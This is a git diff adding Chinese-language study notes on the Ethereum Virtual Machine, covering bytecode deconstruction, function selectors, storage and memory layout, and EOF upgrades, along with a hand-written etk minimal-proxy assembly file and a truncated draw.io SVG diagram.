+
+The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to `0x80` initially).
+
+<aside>
+💡 **注意在remix的debug视图中，Memory编号是按照bit的个数标注，且每16byte做一次换行；例如0x0,0x10 组成了第一个插槽**（0x0-0x0f 16byte + 0x10-0x1f 16byte）
+
+</aside>
+
+free memory 的值将从 0x80 插槽开始存储。
+
+编号 020 的 opcode，相当于 mload(0x40)，这里的入参 0x40 是 offset 设为 64byte 的意思，即从 0x40 位开始向后读取 32 位，即 0x40-0x5f 这个 256 位区域。
+
+`CODECOPY` (destOffset, offset, length) memory[destOffset:destOffset+length] = address(this).code[offset:offset+length] 从合约代码复制到内存
+
+```jsx
+038 PUSH1 00
+040 DUP2
+041 DUP2
+042 SSTORE  // 存储10000到storage
+043 CALLER
+044 DUP2
+045 MSTORE
+046 PUSH1 01
+048 PUSH1 20
+050 MSTORE
+051 SWAP2
+052 SWAP1
+053 SWAP2
+054 SHA3
+055 SSTORE
+
+// excutes the constructor code
+totalSupply_ = _initialSupply;
+balances[msg.sender] =  _initialSupply;
+```
+
+> **Layout of State Variables in Storage** [https://docs.soliditylang.org/en/v0.4.24/miscellaneous.html#layout-of-state-variables-in-storage](https://docs.soliditylang.org/en/v0.4.24/miscellaneous.html#layout-of-state-variables-in-storage)
+
+Statically-sized variables (everything except mapping and dynamically-sized array types) are laid out contiguously in storage starting from position `0`. Multiple items that need less than 32 bytes are packed into a single storage slot if possible, according to the following rules:
+
+- The first item in a storage slot is stored lower-order aligned.
+- Elementary types use only that many bytes that are necessary to store them.
+- If an elementary type does not fit the remaining part of a storage slot, it is moved to the next storage slot.
+- Structs and array data always start a new slot and occupy whole slots (but items inside a struct or array are packed tightly according to these rules).
+
+构造函数执行完后，return 合约代码部分的 bytecode。
+
+## **The Function Selector**
+
+已部署合约的 bytecode
+
+```jsx
+608060405234801561001057600080fd5b5060405160208061021783398101604090815290516000818155338152600160205291909120556101d1806100466000396000f3006080604052600436106100565763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166318160ddd811461005b57806370a0823114610082578063a9059cbb146100b0575b600080fd5b34801561006757600080fd5b506100706100f5565b60408051918252519081900360200190f35b34801561008e57600080fd5b5061007073ffffffffffffffffffffffffffffffffffffffff600435166100fb565b3480156100bc57600080fd5b506100e173ffffffffffffffffffffffffffffffffffffffff60043516602435610123565b604080519115158252519081900360200190f35b60005490565b73ffffffffffffffffffffffffffffffffffffffff1660009081526001602052604090205490565b600073ffffffffffffffffffffffffffffffffffffffff8316151561014757600080fd5b3360009081526001602052604090205482111561016357600080fd5b503360009081526001602081905260408083208054859003905573ffffffffffffffffffffffffffffffffffffffff85168352909120805483019055929150505600a165627a7a72305820a5d999f4459642872a29be93a490575d345e40fc91a7cccb2cf29c88bcdaf3be0029
+```
+
+调用 totalSupply() 方法，进行 debug
+
+```jsx
+000 PUSH1 80
+002 PUSH1 40
+004 MSTORE
+```
+
+```jsx
+005 PUSH1 04
+007 CALLDATASIZE
+008 LT  // a < b CALLDATASIZE < 0x04
+009 PUSH2 0056
+012 JUMPI   // 条件跳转，如果 LT判断为true，则跳转到086，正常情况会继续往下走
+...
+086 JUMPDEST
+087 PUSH1 00
+089 DUP1
+090 REVERT  // 调用被revert
+```
+
+> **Application Binary Interface Specification** [https://docs.soliditylang.org/en/v0.8.9/abi-spec.html#application-binary-interface-specification](https://docs.soliditylang.org/en/v0.8.9/abi-spec.html#application-binary-interface-specification)
+
+由于 totalSupply() 没有入参，calldata 只包含 4byte 的 selectId，这里检查 calldata 是否大于 4，如果大于，则会跳转到 089 ，进入 revert 逻辑.你也可以传入空的 calldata，这里判断可以通过，但由于合约中不存在空的 function selector, 且没有 [fallback function](https://solidity.readthedocs.io/en/v0.4.24/contracts.html?highlight=fallback%20function#fallback-function) ，于是程序会直接终止。
+
+calldata 数据可以在 remix 的 calldata 面板查看，此时是 0x18160ddd, `keccak256("totalSupply()")`截取前 4 个 byte。
+
+调用 balanceOf(address), calldata 将会是这样
+
+`0x70a082310000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc4`
+
+`0x70a08231` 是 balanceOf(address) 的 selectId，后面是入参，因为地址是 20byte，但入参使用总是使用 32-byte words 或者 slots，所以前面要补零。
+
+判断 calldata 长度将不能超过 0x24 ，即 4(selectId) + 32(one parameter) = 36
+
+```jsx
+013 PUSH4 FFFFFFFF
+018 PUSH29 0100000000000000000000000000000000000000000000000000000000
+048 PUSH1 00
+050 CALLDATALOAD  // calldataload(0) 从calldata中复制32byte数据
+051 DIV // 用除法截取前4byte
+052 AND // 按位与 0xFFFFFFFF 保证selectId有8bit
+```
+
+![Figure 3. The function selector.](https://i1.wp.com/miro.medium.com/max/700/1*IgrF4NZNL4UNpnTKn33S1A.png?resize=700%2C299&ssl=1)
+
+Figure 3. The function selector.
+
+013-090 是读取 calldata 中的 function selector，然后遍历匹配方法的 id，跳转到对应 opcode 的过程。如果所有 selectId 都不匹配，则进入 fallback function，因为本合约灭有 fallback function，调用会直接 revert。
+
+![Figure 4. The function selector and a contract’s runtime code main entry point.](https://i1.wp.com/miro.medium.com/max/700/1*H1f1__xgVIBWNIw0l3RDmw.png?resize=700%2C359&ssl=1)
+
+Figure 4. The function selector and a contract’s runtime code main entry point.
+
+## **Function Wrappers**
+
+### totalSupply()
+
+step back to instruction 91, which is where the function selector leaves us because the function id matched `totalSupply` (`0x18160ddd`).
+
+![Figure 2. The non-payable check structure.](https://i2.wp.com/miro.medium.com/max/547/1*UjV04YS6oqNzXGqOOAuM8w.png?resize=547%2C285&ssl=1)
+
+Figure 2. The non-payable check structure.
+
+检查 callvalue 是否为 0，non-payable check.
+
+```jsx
+245 JUMPDEST
+246 PUSH1 00
+248 SLOAD  // sload(0) 从storage的slot0中取出 totalSupply_ 变量的值 存入memory
+249 SWAP1
+250 JUMP
+```
+
+![Figure 5. An uint256 memory returner structure.](https://i1.wp.com/miro.medium.com/max/700/1*If4PBiS27dTEb8pdy7JDPA.png?resize=700%2C232&ssl=1)
+
+Figure 5. An uint256 memory returner structure.
+
+将 memory 中 totalSupply\_的值 return：
+
+1. 113-116 读取 memory zero slot 的值，即一个指向空闲变量的指针
+2. 117-119 将 totalSupply\_的值写入空闲变量
+3. 120-124 计算 RETURN 的 offset
+4. 125-129 计算 RETURN 的 length，并 return 数据
+
+`RETURN` return memory[offset:offset+length]
+
+### balanceOf(address)
+
+![Figure 8. balanceOf’s blue wrapper jumps back to totalSupply’s yellow wrapper.](https://i0.wp.com/miro.medium.com/max/700/1*5vsSykojVf-77bXtVqV7Kw.png?resize=700%2C691&ssl=1)
+
+Figure 8. balanceOf’s blue wrapper jumps back to totalSupply’s yellow wrapper.
+
+balanceOf(address) 中复用了 totalSupply()的 uint256 memory returner 部分的 opcode.
+
+<aside>
+💡 opcode的复用是因为我们在编译时开启了 Enable optimization 选项，如果没有勾选，则不会观察到这种情况。
+
+</aside>
+
+```jsx
+142 JUMPDEST
+143 POP
+144 PUSH2 0070
+147 PUSH20 ffffffffffffffffffffffffffffffffffffffff  // 提取address入参的bitmask
+168 PUSH1 04  // CALLDATALOAD offset 跳过selectId
+170 CALLDATALOAD
+171 AND  // 提取20byte的address入参
+172 PUSH2 00FB
+173 JUMP   // 跳转到 251
+```
+
+![https://i0.wp.com/miro.medium.com/max/700/1*Ry_p_sHfRENGIz_G04nWcA.jpeg?w=840&ssl=1](https://i0.wp.com/miro.medium.com/max/700/1*Ry_p_sHfRENGIz_G04nWcA.jpeg?w=840&ssl=1)
+
+## **Function Bodies**
+
+```jsx
+251 JUMPDEST
+252 PUSH20 ffffffffffffffffffffffffffffffffffffffff
+273 AND
+274 PUSH1 00
+276 SWAP1
+277 DUP2
+278 MSTORE  // 将address入参存入 memory 0x0
+279 PUSH1 01
+281 PUSH1 20
+283 MSTORE  // 将数值1存入 memory 0x20
+284 PUSH1 40  // length 0x40 = 64
+286 SWAP1
+287 SHA3  // hash = keccak256(memory[offset:offset+length])
+288 SLOAD // 上一步的hash就是key value = storage[key]
+289 SWAP1
+290 JUMP  // 跳转 112
+112 ... // 复用了totalSupply()的 uint256 memory returner 部分的opcode.
+```
+
+![https://i0.wp.com/miro.medium.com/max/700/1*qfAR0q1D4PDIzBGmzTlV_A.png?resize=700%2C239&ssl=1](https://i0.wp.com/miro.medium.com/max/700/1*qfAR0q1D4PDIzBGmzTlV_A.png?resize=700%2C239&ssl=1)
+
+### **Metadata Hash**
+
+![Figure 1: The metadata hash can be found in the last few opcodes of the runtime bytecode of a contract.](https://i2.wp.com/miro.medium.com/max/695/1*07vt6obMDNLssCWZj5DNKA.png?resize=695%2C556&ssl=1)
+
+Figure 1: The metadata hash can be found in the last few opcodes of the runtime bytecode of a contract.
+
+> **Encoding of the Metadata Hash in the Bytecode** [https://docs.soliditylang.org/en/v0.8.9/metadata.html#encoding-of-the-metadata-hash-in-the-bytecode](https://docs.soliditylang.org/en/v0.8.9/metadata.html#encoding-of-the-metadata-hash-in-the-bytecode)
+
+[https://miro.medium.com/max/700/0\*jvtyB5uFIQLAKkkl](https://miro.medium.com/max/700/0*jvtyB5uFIQLAKkkl)
+
+This hash can be used in [Swarm](https://swarm-guide.readthedocs.io/en/latest/introduction.html) as a lookup URL to find the contract’s metadata. Swarm is basically a decentralized storage system, similar to [IPFS](https://ipfs.io/). The idea here is that some platform like [Etherscan](https://etherscan.io/) identifies this structure in the bytecode and provides the location of the bytecode’s metadata within a decentralized storage system. A user can query such metadata and use it as a means to prove that the bytecode being seen is in fact the product of a given Solidity source code, with a certain version and precise configuration of the Solidity compiler in a deterministic manner. This hash is a digital signature of sorts, that ties together a piece of compiled bytecode with its origins. If you wanted to verify that the bytecode is legit, you would have to hash the metadata yourself and verify that you get the same hash.
+
+And that’s not all, the metadata hash can be used by wallet applications to fetch the contract’s metadata, extract it’s source, recompile it with the compiler settings used originally, verify that the produced bytecode matches the contract’s bytecode, then fetch the contract’s JSON ABI and look at the [NATSPEC](https://github.com/ethereum/wiki/wiki/Ethereum-Natural-Specification-Format) documentation of the function being called.
diff --git a/basic/43-EVM/EVM.md b/basic/43-EVM/EVM.md
new file mode 100644
index 000000000..d32cdeea2
--- /dev/null
+++ b/basic/43-EVM/EVM.md
@@ -0,0 +1,136 @@
+# Ethereum Virtual Machine 
+
+重点阅读本篇文章：
+- [EVM Deep Dives](https://noxx.substack.com/p/evm-deep-dives-the-path-to-shadowy?s=r) 
+
+opcode码：https://www.ethervm.io/
+
+
+![EVM](./img/evm.jpg)
+EVM是无寄存器、基于栈的虚拟机，是合约的执行环境, 解释器中需要操作五大组件：
+- PC：类似于 CPU 中的 PC 寄存器，指向当前执行的指令
+- Stack：执行堆栈，位宽为 256 bits，最大深度为 1024
+- Memory：内存空间
+- Gas：gas池，耗光gas则交易执行失败
+- Storage: key value 存储
+## EVM 存储空间
+EVM 的存储空间有三类，stack、memory、storage
+- stack 和 memory 都是临时存储，在智能合约运行时有效，当运行结束后回收。memory 主要是临时存储数组、字符串等较大的交易时的数据，按 8 位或者 256 位读取，更加灵活；
+- 栈最多 1024 层，每层 32 字节（也就是每个变量用 uint256 类型储存，以太坊是 256 位的虚拟机），这样可以方便地应用 256 位 Keccak 哈希计算和椭圆曲线计算。
+- storage 是永久性存储，采用映射的形式存储 uint256 的 Key 和 uint256 的 Value，因此它的操作更消耗计算资源，gas 也高得多。这样的储存空间分类，同样在 Solidity 中有所体现。
+
+## 全局变量的存储
+### 一般的静态类型
+全局变量紧凑地存储在 storage，这样多个变量可能存储在同一个 slot (一个 solt 32 个字节) 里面。除了动态数组和映射类型，数据都是从 slot[0] 开始，连续地（如果不够32字节也不会扩充 0）存储在 slots 里。每个变量所需的字节由变量类型确定。多个变量打包在一个 slot 的规则如下：
+- 这些变量所占空间之和不超过 32 字节。
+- 大端存储，也就是第一个变量的存储位置从该 slot 的低位开始存储。
+- 如果当前 slot 剩余空间无法容纳下一个变量，则下一个变量将存储在下一个 slot
+- 结构体和数组总是分配新的 slot 给它们，其中的成员紧凑存储。
+- 结构体或者数组的下一个全局变量，也往往不会与结构体或者数组在同一个 slot，而是在下一个 slot 中。
+- 如果合约由继承关系，那么全局变量的存储的先后，遵循 C3 线性化顺序规则。
+
+**设计思路说明**
+EVM 是 32 字节为基础操作单位的虚拟机，如果元素不够 32 个字节，EVM 需要执行额外的操作去读写这个元素。因此读写小于 32 个字节的变量会比 32 个字节的变量消耗的 gas 更多，如果变量需要多次读写的话，compact 的方式可能会起反作用。
+
+全局变量的声明顺序也应当注意，uint128, uint128, uint256 的顺序会比 uint128, uint256, uint128 更好。
+
+### MAP和动态数组的存储
+映射和动态数组所需的空间是无法预计的，因此它们不是整个的放在某个位置，而是首先按照上面的规则占用 32 字节，然后将具体的值存储在其他的 slot，通过 keccak256 哈希来查找
+规则参考：https://twitter.com/blainemalone/status/1597352375593078784
+假设MAP类型或者动态数组占用了 slot[p]，对于动态数组，slot[p] 存储元数个数（除了特殊的 byte[] 和 string）；对于MAP，slot[p] 为空。动态数组元素的位置将从 keccak256(p) 开始，按照上述规则排列。如果是map， 那么存储值的 slot 为 keecak256(key,p)
+
+## Memory 的存储方式
+Solidity保留了前 4 个特殊用途的32字节的 slot，内部二进制的序列的范围不同，代表的功能也不同：
+
+- 0x00 - 0x3f (前面64 字节，占用 2 个slot): 计算哈希时临时存储数据的空间，在语句之间使用。
+- 0x40 - 0x5f (32 字节，占用 1 个 slot): 当前分配的内存大小 ，或者说是内存指针所在位置（因为可以通过内存空间大小计算内存指针位置）。
+- 0x60 - 0x7f (32 字节，占用 1 个 slot): slot[0]，正式内存，用于保存动态 memory 数组的初始值，而且只读。然后下一个位置 0x80 是开始写入的位置。
+
+## 合约调用
+处理交易的inputdata主要有以下四个指令：
+- CALLDATALOAD：把输入数据加载到 Stack 中
+- CALLDATACOPY：把输入数据加载到 Memory 中
+- CODECOPY：把当前合约代码拷贝到 Memory 中
+- EXTCODECOPY：把外部合约代码拷贝到 Memory 中
+调用者把调用参数存储在内存中，然后执行 CALL 指令。
+CALL 指令执行时会创建新的 Contract 对象，并以内存中的调用参数作为其 Input。
+解释器会为新合约的执行创建新的 Stack 和 Memory，从而不会破环原合约的执行环境。
+新合约执行完成后，通过 RETURN 指令把执行结果写入之前指定的内存地址，然后原合约继续向后执行。
+
+## 合约互相调用
+library 中不允许定义任何 storage 类型的变量，这就意味着 library 不能修改合约的状态。
+合约内部调用另外一个合约，有 4 种调用方式：
+- CALL
+- DELEGATECALL
+- STATICALL
+CALL，DELEGATECALL代码执行的上下文环境不同。
+编译器层面计划以后把调用 view 和 pure 类型的函数编译成 STATICCALL 指令。
+view 类型的函数表明其不能修改状态变量，而 pure 类型的函数则更加严格，连读取状态变量都不允许。
+以前是在编译阶段来检查这一点的，如果不符合规定则会出现编译错误。如果将来换成 STATICCALL 指令，就可以完全在运行时阶段来保证这一点了，你可能会看到一个执行失败的交易。
+## 固定gasfee
+每笔交易过来，不管三七二十一先需要收取一笔固定油费，计算方法如下：
+1. 如果你的交易不带额外数据（Payload），比如普通转账，那么需要收取 21000 的油费。
+2. 如果你的交易携带额外数据，那么这部分数据也是需要收费的，具体来说是按字节收费：
+    - 字节为 0 的收 4 块，
+    - 字节不为 0 收 68 块，
+所以你会看到很多做合约优化的，目的就是减少数据中不为 0 的字节数量，从而降低油费  gas 消耗。
+## Solidity Bytecode and Opcode Basics
+
+简单了解 bytecode 和 opcode。
+
+Solidity Bytecode and Opcode Basics <https://medium.com/@blockchain101/solidity-bytecode-and-opcode-basics-672e9b1a88c2>
+
+## Deconstructing a Solidity Contract
+
+Openzeppelin blog 的系列文章，非常棒的科普文。学习笔记参见 :point_right: [DeconstructingSolidityContract.md](./DeconstructingSolidityContract.md)
+
+## 实际项目中手写Opcode的示范：
+[sudoswap](https://github.com/sudoswap/lssvm/blob/main/src/lib/LSSVMPairCloner.sol), 它自己手写了Opcode，主要实现的是EIP-1167. 但是比EIP-1167要更复杂一点，复杂之处在于proxy在每一次调用delegatecall的时候都会将创建该proxy的一些参数，例如factory address, nft address等直接concat到calldata后面。关于EIP-1167，可以参考[这篇文章](https://learnblockchain.cn/article/2663)
+
+## 推荐用的手写Opcode的工具
+[etk](https://quilt.github.io/etk/ch02-lang/ch03-labels.html), 它可以帮助你计算offset和length。
+在Opcode.etk文件中，使用该工具定义的etk格式手写了`cloneETHPair`函数，可以对比sudoswap.lob.sol文件进行查看
+
+### 减少合约size
+参阅[libary介绍](./libary.md)
+https://ethereum.org/zh/developers/tutorials/downsizing-contracts-to-fight-the-contract-size-limit 
+
+
+## EOF(EVM OBJECT FORMAT)
+
+EOF通过EIPs引入了新的验证和操作码，旨在构建更友好的EVM。EOF的特性包括改进的代码结构、静态分析、更大的堆栈空间、代码验证、JUMPDEST分析、新的合约创建方式和改进的CALL指令，从而提高了开发者的体验和合约性能。
+
+EOF 由一系列 EIP 组成：
+
+EIP-3540: EOF — EVM Object Format v1（EOF — EVM 对象格式 v1）
+EIP-3670: EOF — Code Validation（EOF — 代码验证）
+EIP-4200: EOF — Static relative jumps（EOF — 静态相对跳转）
+EIP-4750: EOF — Functions（EOF — 函数）
+EIP-5450: EOF — Stack Validation（EOF — 堆栈验证）
+EIP-663: SWAPN, DUPN and EXCHANGE instructions（SWAPN、DUPN 和 EXCHANGE 指令）
+EIP-6206: EOF — JUMPF and non-returning functions（EOF — JUMPF 和非返回函数）
+EIP-7069: Revamped CALL instructions（改进的 CALL 指令）
+EIP-7480: EOF — Data section access instructions（EOF — 数据段访问指令）
+EIP-7620: EOF Contract Creation（EOF 合约创建）
+EIP-7698: EOF — Creation transaction（EOF — 创建交易）
+
+这 11 个 EIP 背后的想法是构建一个对开发者更友好的 EVM，具有新的验证和操作码，所有这些 EIP 都计划包含在 Pectra 升级中，我们已经可以在 Ethereum Sepolia、Holesky 和最新的 Hoodi 测试网（3 月 19 日发布）中测试其中的一些功能。
+
+
+### Legacy EVM vs EOF EVM
+当前的 EVM 或 Legacy EVM 没有结构，部署在其中的智能合约只是一组按顺序运行的操作码
+EOF EIP 3540: EOF — EVM Object Format v1，为 EVM 字节码引入了一种容器格式
+包含Header + Code + Data
+
+![EOF](image.png)
+
+## 参考链接
+- [evm_illustrated-EVM图解](https://takenobu-hs.github.io/downloads/ethereum_evm_illustrated.pdf)
+- EVM 详解: https://learnblockchain.cn/2019/04/09/easy-evm
+- geth-analyze: https://github.com/learnerLj/geth-analyze/tree/main/analyzeSourceCode
+- Ethereum Signature Database: https://www.4byte.directory/
+- EVM内存布局: https://mirror.xyz/xyyme.eth/GNVcUgKAOEiLyClKeqkmD35ctLu6_XomT3ZDIfV3tz8?s=09
+- [深入理解EVM - Part 1 - 从字节码到函数选择器](https://learnblockchain.cn/article/4253)  
+- [EVM Deep Dives](https://noxx.substack.com/p/evm-deep-dives-the-path-to-shadowy?s=r)
+- EVM源码解析: http://yangzhe.me/2019/08/12/ethereum-evm/
+
diff --git a/basic/43-EVM/Opcode.etk b/basic/43-EVM/Opcode.etk
new file mode 100644
index 000000000..b7a53d39c
--- /dev/null
+++ b/basic/43-EVM/Opcode.etk
@@ -0,0 +1,46 @@
+initStart:
+    push1 runtimeEnd - runtimeStart # r
+    returndatasize                  # 0 r
+    dup2                            # r 0 r
+    push1 initEnd                   # c r 0 r
+    returndatasize                  # 0 c r 0 r
+    codecopy                        # 0 r               # [0-runsize]: runtimecode
+    return                          #                   # [0-runsize]: runtimecode
+initEnd:
+runtimeStart:
+    returndatasize                  # 0
+    returndatasize                  # 0 0
+    returndatasize                  # 0 0 0
+    returndatasize                  # 0 0 0 0
+    calldatasize                    # cds 0 0 0 0
+    returndatasize                  # 0 cds 0 0 0 0
+    returndatasize                  # 0 0 cds 0 0 0 0 
+    calldatacopy                    # 0 0 0 0           # [0-cds]: calldata
+    push1 extraEnd - extraStart     # extra 0 0 0 0
+    push1 extraStart - runtimeStart # extraStart extra 0 0 0 0
+    calldatasize                    # cds extraStart extra 0 0 0 0
+    codecopy                        # 0 0 0 0           # [0-cds]: calldata, [cds,cds+extra]
+    calldatasize                    # cds 0 0 0 0
+    push1 extraEnd - extraStart     # extra cds 0 0 0 0 
+    add                             # extra+cds 0 0 0 0
+    returndatasize                  # 0 extra+cds 0 0 0 0 
+    push20 0xdeadbeef               # 0xdeadbeef 0 extra+cds 0 0 0 0
+    gas                             # gas 0xdeadbeef 0 extra+cds 0 0 0 0
+    delegatecall                    # success 0 0
+    returndatasize                  # rds success 0 0
+    returndatasize                  # rds rds success 0 0
+    swap4                           # 0 rds success 0 rds
+    dup1                            # 0 0 rds success 0 rds
+    returndatacopy                  # success 0 rds     # [0-rds]: returndata
+    push1 labelReturn - runtimeStart# labelRevert success 0 rds
+    jumpi                           # 0 rds
+    revert                          # _
+labelReturn:
+    jumpdest                        # 0 rds
+    return                          # _
+extraStart:
+    push4 0xffffffff
+extraEnd:
+runtimeEnd:
+
+#compiled: 603a3d8160093d39f33d3d3d3d363d3d37600560353639366005013d7300000000000000000000000000000000deadbeef5af43d3d93803e603357fd5bf363ffffffff
diff --git a/basic/43-EVM/etk/BasicToken.svg b/basic/43-EVM/etk/BasicToken.svg
new file mode 100644
index 000000000..00e165e9e
--- /dev/null
+++ b/basic/43-EVM/etk/BasicToken.svg
@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="4680px" height="6403px" version="1.1" content="&lt;mxfile userAgent=&quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36&quot; version=&quot;9.1.8&quot; editor=&quot;www.draw.io&quot; type=&quot;google&quot;&gt;&lt;diagram id=&quot;ed6a3227-678b-091d-818d-86a30a6a5bab&quot; name=&quot;Page-1&quot;&gt;7V1Zd9s4sv4t8+Bzkgf7YCf5aCfu7tybdHLb6Z7lJYeSaFvTsqiR6E48v/4C4CICVZQpmZRkm+7FFkiRAKpQGz5UnfB3dz9+XsaL20/pJJmdMDL5ccLfnzDGRMT1L9PykLcIpljecrOcTvI2um64mv43KRpJ0Xo/nSQr58YsTWfZdOE2jtP5PBlnTlu8XKbf3duu05n71kV8k4CGq3E8g61/n06y27w1ZMG6/ZdkenNbvpmqKL9yF5c3FyNZ3caT9HutiV+e8HfLNM3yv+5+vEtmZvbKecm/91PD1apjy2SetfmCEoyETMhoMlKJUJPT4gl/xbP7YrAX8Wo6/pr+mczPVqn+rjphXBOCXxQjyB7KaVl9n97N4rn+dHGdzrOr4grVn+PZ9Gau/x7rfiVL3fBXssymekbPiwtZutCt49vpbPIxfkjvTe9XWTz+s/x0cZsup//Vj41nxTP15WVWMIfuVf2OK/NN3Wy6uUxW+p4v5ZRQr+lT/MO58WO8yoqGcTqbxYvVdFQN4y5e3kznF2mWpXfFTeWgf5rOZu/SWbq0c8Gv7Y+ZCa9dmn/KGco7T1nxubxvntpJXGVLPe21Lyv7U029mcPkRyPlacVPeiUm6V2SLR/0LcUXTiUpeLBYhVSIM5m3fF8zNY+Ku25rDC1E0RgXC+mmevya1/QfBbu1ZD0GWG+xjG/uYsNk6Ww6mWam+yfykpyJMybsNNSYsfpTr/psGetlz8iad803A+cL79jJOTHNSNv9dJ4xqaxcMex0v1jMHr55byxvvosXi+n85k08mWgWWplHmt6rm8x+oXzYW/3nKNasMjaiq6Hv1UP1IDT578dZunyz7s236XyaTcsOmScu7kez6XjD6MAfzoiKvnoPbugT/KMaj7y4W92crZL5RK9u+X7L5wbvH5mN6/v5OJumc7f7b5wJ+GuafNe/lkl2v5wbKrypTfxjs5N/qx29t+vuMp6vrpNljTu+ZekJe+dw2TfL9M5wauMYad3WbhD/uZ8ukzf2BeRvOQWK974hb98+Rtbq+/kStEtjZpnYPqmJ2P5zN73iUYbZcMNpNVFbvMXMBf749RV20frJaz5ZNt+8DX8UHfp8XWeQ9Ps8WfbA3PXR23eYCWg1CPPJ0/Za9WRASRWaq670iqbSApgl11mj/l8t4rEWpR/tPe/FuuW3QvmYplR/93pmrabb6WSiZbvW3XrZZnGuqE2HF6meHquc5IX+V4/oHdHazdD7nf5M15/tDCzSpVa+RuLGU6s+E20FfE+MJXAxi0fJ7ELbEzfL9H4+8YbVShPjVhZUzYUmNvPeSg1T0YMalpsswOSvu8Hse85mH+eu1XfKJOeA3Srb0GG3QPZh9oWA34h5O/ny+9UveiwkrFtohLDaJeFe0quBfLr6+vm3S6dZMzR5d/7x4x/nH393rxjV+/73L9Rp1E4c+XD1r8vfPjvNYfFe835CqPNmajrzP79/+vLBaa13lbhfEMibqenob5d/XP721WlWxcPfX165F0xPv3z+4rSFjdNjFB359PHz+Xunlda+wNwvcKSTTNTngZk+1C4G+TeE02i69O7z+8t3n7/807kQ5XezeqNhT3L+3ukjp42DMrxLrv5+7naSC+zJEmUPrtAnBNhk8bCRoqZb4JWCYo1m5q5APwQv2PTyN6cZG4rAhyJUvXvOeETYSGZJ0IdJWsyL82bJsNmSHL3XdP3ql3PuNEp09FLV2YpO3MdHCCMqUv+GHXvtIm8klJIN7KhU83dCuzK//v7br06z6ZceirMCg2bZFTTLrgCXXYGs98lZVkFQ8Mv786/nVx/+5X7PdPijIy2CyJkv6cxXyDABFpazaDp3Xfw4N1RCMbJkIzv+1J5JaeMao1aClUP21ia1guz9hz+cNjOs81/d++qDoiFVZDKZODeEcMVRO8DL/6s3cZcB5ci5yJEJpRwR+5TLWocCEmticOcGK1rcdwvqvDt0+mpFBni3lRn+uyuJYb4SR3qljUfOOKwUcN8tmfPukUMiu7zBu2WDCqMyaCQ2tuipXfRARVJFG55v4sqo7qcKUW5UCUz3UyWdEavAuRhiI1ZR48ACirzZigY4sIA3DMzKC1f308DtZuC+1bVftC1auxiW8+c0soZ3h3Xh6ogxGmJMFipEl9IwQHQGDYvFx53GCBOONMIMGhqVesvpQ8SQRR1hxgONrNr6/cJpq8thR33SKAAGC41C9MERpkWYNXaReWZGg6PMywiD08wIx5iXEcdgI2HiXAwQ5mWkUQTbHRjwZmv+AuZltIGBGOWAeRl1uxm4by3FhNUA1y1/6k9wLbe6ImVig1ZhVtC6GoQJVwBej5yLpQB0Ghvkn3apmkgsQmSiRYSSWLqaaDR2LmKaiEnRSGIrrP03W0ENSSzDhoFZ6e2R2LPYEucFlcW2M4lD0UhiK4GaSGwFkUfi0DGXnWdFm9glcvSytTVqFwXCGpFsmMGobo46UpZFGG9Y6eJLQ26Fiy9luZUsgI+4FStIM4cymePONrfONuyFQuQhJwGUyZxgopOTCMhkTuuGtiOTuZU8rkzmFBP23IodIJM5baAKp3WqEPeltuf+0GmEvZYRyAqcNVgxnFUCZ8e1wa1z6fI4F40igAuUXgKjl5VTkA+EY/84j5GNEQduZRV8mCOshPsNtKdWWnmeJ5cofSRKH4XRp8nK5Kox0MOVeCrpSpNKOI0K0jNEA1fcijKk2XEHqajbtDzC3EEeNTrVPELsPm4lGNAZPAoaptGKNRAB4VGjKS0IZusJgth6gqCsJYizCNzH1Jc6c9+LMr0g9Z46fCoo2lMrpzw+Fbmg8vhUlBFD91Yz7T9/dZoURm6xtqDsOJXzmEoafXBaaeO8Y5FBwQRGbsEaRKlgCpgIggUYCwjWaJAKTrCJ5UjgTXCGUo3zRhbgjWa/4IgwFBxTXoKj7ovFUDRwi0DseyE4FARCIDE2gbn6IpfpPluVMl05jegwBNTBQqKzn4cOwYDlU9WYCDjSW+sKu7JQBIjQFIFC6RAE2BiCcg4cAtsgmj/dIeITCetSg+kOGdIv60+71oqwxizoVIgGT0VYKkG3W5iDLXLL1l11ITTWRYRoQJH71l+9O82YPn7+2elppStM1xQLYv0P09ZhWLtJ5sapO5syt01/1Q7Rh/dOO2tor+w64jRbeXn58fLn86+XRqI4F63cPL/6+OHTh6/OhXImA6fVzOTXD5+0ADt3JkSSwhJ3hxXhPbUGK9beMGJaxtqF08rz6XYbMXaRFAvGyVxDIK9r8kWltWyxb5iBXnz8/O5/fzm/+qV+hTUMlWGbCpI1kNaqGaxdNLTLhnZVjMyE/Z0L1dJ3WLCMAEdOYwNVecNQeR4U8TwLyRvGmm9kuUtL8oaBWr0EblZYY4A1hlgjspkhrY4CjYgUkPmult+IDSpXWX4jNiKBjUhgIxLYiAQ2IomNSGIjktiIJDYiiY1IYiOS2IgkNiKJjUhiI1LYiBQ2IoWNSGEjUtiIVMPyshtnZrPplQKEdoMAyW0hQA2YDNYHBih6FANE3oyXSWxAbG8HQJC56bkCgqgNuTmIoKgtIqgfQBCFQPB+EEFGbA2goAEUNICCAJkHUFBxQTV/pz0oaDCNtjKNok5Mo34sI8pbmEbL+3k2vUtaW0bkySYPwjTHaQU9bu10YdNYBEbdpqEyYu3YhsuwF6NG7cOowaGCZBNUkECoIHH2hjyoYIXqcM2ax6CClQ3SHVTQ1V8E6q+GXfpci7lQwVyHuVHkXINtgAracCbQwxJABX215EAFc7UEJlRhxmAFRGuACubgU/fdgQNJcKGCOewUvDtA9g9IoGrvRqCCxEa83XeHG6CCJMSikyRsMmzDRqggCTFTwAawoeEcNWzikqgJKkgizOSNUKggqYBiCFSQRBhUkDTvb1JC4ZspwaGCpAkqSBCoIHG76UIFPa/GhQpWXo3T2AQVpHWTy4UKUgwqaN0aAOmjKFSQYlBBikMFUTeHVtFopw8MgwoyFCrIEKgga4YKMgQqyFCoIEOhgjnkGJtn6wyhOFeObCXm6GSIc+UboIKUY1BB2uz80NL5cd4sKMq8oomBBIQKUuF202Ve8VSoYA7oRRUpDTZolRzX64HNA1cAOlDBHK/rL6WgQf7RoGl7Jof2AkAxChWkoauJHKhgDuwFJHZxdc5kW2EN4L4oVDBH9qJwYrj7mEN7G6CCtNpb3BkqSEUTiZmVQE3wPopABZ3gigsV3